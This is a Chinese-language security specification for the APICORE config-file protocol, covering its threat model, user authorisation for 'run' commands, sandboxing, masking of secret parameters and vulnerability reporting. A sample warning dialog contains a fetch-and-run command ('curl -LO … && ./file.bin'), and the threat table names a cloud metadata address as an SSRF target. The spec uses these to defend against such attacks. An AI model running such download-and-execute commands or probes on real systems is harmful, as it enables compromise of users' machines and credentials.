版本: v2.1
最后更新: 2026-08-02
编写: SRON 团队
适用范围: 所有实现 APICORE v2.x 协议的解析器、客户端、社区 Hub 及配置文件贡献者
APICORE 的 .api.json / .api.yaml / .api.toml 配置文件不仅是声明式的 API 参数描述,更是一份可执行的"交互图纸"。它定义了:
- 网络请求的目标地址与方法
- 用户凭证(如 API Key)的注入位置
- 服务端响应的解析与提取路径
- 系统命令的执行逻辑(
"action": "run")
因此,任何实现 APICORE 协议的客户端,必须将配置文件视为不可信输入,即便该文件来自社区 Hub 或看似可信的第三方。
| 威胁类别 | 攻击向量 | 影响等级 | 缓解方向 |
|---|---|---|---|
| 恶意命令执行 | 配置文件中嵌入 "action": "run" 的恶意 shell 脚本 |
🔴 严重 | 沙箱隔离 + 用户授权 |
| 凭证窃取 | 恶意 link 地址将参数(含 API Key)发送至攻击者服务器 |
🔴 严重 | 域名白名单 + 用户确认 |
| SSRF 内网探测 | 配置文件 link 指向内网地址(如 http://169.254.169.254/) |
🟠 高 | 内网地址过滤 |
| 数据外泄 | 响应 extract 提取敏感数据后通过 message 模板展示或日志泄露 |
🟠 高 | 日志脱敏 + 输出过滤 |
| UI 钓鱼 | 伪造 friendly_name、intro 冒充知名服务诱导用户输入凭证 |
🟡 中 | 来源标识 + 用户教育 |
| 资源耗尽 | configs.retry.count 极高 + delay_ms 极低导致拒绝服务 |
🟡 中 | 客户端参数上限校验 |
| 文件覆盖 | "action": "run" 的脚本写入或覆盖系统关键文件 |
🔴 严重 | 沙箱文件系统隔离 |
所有 APICORE 客户端实现者必须遵循以下最低安全基线:
- 配置来源分级:区分"用户本地创建"、"社区 Hub 下载"、"远程 URL 导入"三种来源,对不同来源实施不同级别的信任策略。
- 最小权限原则:客户端不应以 root/Administrator 权限运行,默认在受限用户态下执行。
- 网络出口控制:对配置文件中的
link地址进行 DNS 解析和 IP 校验,阻止解析到内网地址段(10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16,127.0.0.0/8)。 - 参数自动注入告警:当
link中包含{{parameters.xxx}}且该参数text_secret为true时,客户端应额外提示用户确认。 - 日志与遥测脱敏:在日志、错误报告、遥测数据中严禁明文记录
text_secret: true的参数值。
"action": "run" 是 APICORE 协议中风险等级最高的操作,因为它允许配置文件执行任意系统命令。所有实现者必须满足以下全部要求:
| 要求 | 级别 | 描述 |
|---|---|---|
| 命令预展示 | 🔴 必须 | 在执行前,客户端必须将完整的 script 内容以明文形式展示给用户,不得截断或省略 |
| 用户主动授权 | 🔴 必须 | 客户端必须弹出模态确认对话框,由用户手动点击"允许执行"按钮后方可运行,禁止自动执行或定时执行 |
| 超时限制 | 🟠 建议 | 单次 run 操作执行时间不应超过 30 秒,超时后强制终止进程树 |
| 输出限制 | 🟠 建议 | 捕获的 stdout/stderr 不应超过 1 MB,防止内存溢出 |
| 默认禁用 | 🟡 建议 | 客户端应在全局设置中提供"禁用 run 操作"的开关,并默认开启 |
确认对话框示例文案:
⚠️ 高危操作警告
该配置文件正在尝试执行系统命令:
──────────────────────────────
curl -LO https://example.com/file.bin && ./file.bin
──────────────────────────────
配置文件来源:社区 Hub - "SuperAI 绘图 v1.2.0"
配置文件作者:unknown
执行此命令可能对您的系统造成不可逆的损害。
请确认您信任该配置文件的来源。
[ 拒绝执行 ] [ 允许执行(风险自负) ]
| 要求 | 级别 | 描述 |
|---|---|---|
| 高风险标记 | 🔴 必须 | 包含 "action": "run" 的配置文件在 Hub 列表页必须显示醒目的 ⚠️ HIGH RISK 标签 |
| 人工审核 | 🟠 建议 | 此类配置文件在首次发布及每次更新时,应经过人工审核后方可进入公共索引 |
| 脚本可审查 | 🟠 建议 | Hub 页面应完整展示 script 字段内容,方便社区审查 |
| 举报机制 | 🟠 建议 | 提供一键举报按钮,恶意配置一经核实立即下架 |
对于需要更高安全级别的客户端实现,建议引入以下沙箱技术之一:
- 容器隔离:在 Docker/Podman 容器中执行
run脚本,限制网络、文件系统和进程权限 - WebAssembly 沙箱:对于简单脚本,使用 Wasm 运行时(如 Wasmtime)进行隔离执行
- 系统调用过滤:在 Linux 上使用
seccomp,在 macOS 上使用 App Sandbox,在 Windows 上使用 Restricted Token
| 要求 | 级别 | 描述 |
|---|---|---|
| URL 预展示 | 🟠 建议 | 打开浏览器前,向用户展示将要访问的完整 URL |
| 协议限制 | 🔴 必须 | 仅允许 https:// 和 http:// 协议,拒绝 file://、javascript: 等危险协议 |
当参数配置中 "text_secret": true 时,该参数的值被视为敏感凭证(如 API Key、Token、密码等),客户端必须实施全程保护。
| 场景 | 要求 | 级别 |
|---|---|---|
| UI 输入框 | 以密码掩码(••••••)形式显示,默认不可见原文 |
🔴 必须 |
| UI 详情/回显 | 任何时候展示参数值时,均以掩码形式呈现 | 🔴 必须 |
| 日志输出 | 严禁在日志文件中记录原文。如需调试,替换为 [REDACTED] 或 *** |
🔴 必须 |
| 错误报告 | 发送至远程服务器的错误报告中严禁包含原文 | 🔴 必须 |
| 导出配置 | 导出为 .api.json 文件时,敏感字段的值应替换为占位符 "__YOUR_API_KEY__" 或由用户手动确认是否保留 |
🟠 建议 |
| 屏幕截图 | 客户端在截屏或录屏时,应自动模糊处理敏感字段区域 | 🟡 建议 |
| 剪贴板 | 从配置中复制参数值时,text_secret: true 的字段不应被复制,或需二次确认 |
🟡 建议 |
def render_parameter(param: dict) -> str:
"""渲染参数值到 UI"""
value = param.get("value", "")
if param.get("text_secret", False):
return "•" * min(len(str(value)), 16) # 固定长度掩码
return str(value)
def sanitize_for_logging(params: list) -> list:
"""日志脱敏"""
sanitized = []
for p in params:
if p.get("text_secret", False):
sanitized.append({**p, "value": "[REDACTED]"})
else:
sanitized.append(p)
return sanitized- 当
text_secret: true的参数通过{{parameters.xxx}}注入到AuthorizationHeader 时,客户端应确保目标link使用 HTTPS 协议 - 若
link为 HTTP 协议(非 TLS),客户端必须弹出警告提示用户凭证将以明文传输
如果你发现了 APICORE 协议设计缺陷、解析器实现漏洞或社区 Hub 安全风险,请通过以下方式私密报告:
| 渠道 | 地址 |
|---|---|
| 安全邮箱 | admin@sr-studio.cn |
| GitHub Security Advisory | https://github.com/SRON-org/APICORE-2/security/advisories |
注意:请勿在公开 Issue 中披露安全漏洞细节。所有安全报告将通过私密渠道处理。
| 等级 | 判定标准 |
|---|---|
| 🔴 严重 (Critical) | 无需用户交互即可远程执行任意代码(如恶意配置自动触发 run 且无需确认) |
| 🟠 高 (High) | 可绕过安全机制获取敏感信息或执行受限操作(如绕过 text_secret 脱敏) |
| 🟡 中 (Medium) | 需用户交互且在特定条件下方可利用(如 SSRF 需用户导入恶意配置) |
| 🟢 低 (Low) | 影响有限的安全加固建议或边缘场景 |
在发布 APICORE 客户端实现或社区 Hub 服务前,请逐项确认:
-
"action": "run"执行前强制弹窗展示完整命令并获取用户主动授权 -
"action": "browser"拒绝file://、javascript:等危险协议 -
text_secret: true字段在 UI、日志、错误报告中全程遮蔽 - 配置导出时,
text_secret: true字段的值为占位符或需用户确认 -
link地址的 DNS 解析结果拒绝内网 IP 地址段 - 提供全局"禁用 run 操作"开关,且默认开启
-
link为 HTTP 且包含敏感参数注入时弹出警告
- 包含
"action": "run"的配置标记为⚠️ HIGH RISK - 高风险配置的
script字段在页面中完整展示 - 提供一键举报功能,恶意配置被举报后立即进入人工审核
- 配置文件列表中展示来源标识和作者信息
本安全规范随 APICORE 协议主规范同步更新。如有疑问或建议,请通过
admin@sr-studio.cn联系安全团队。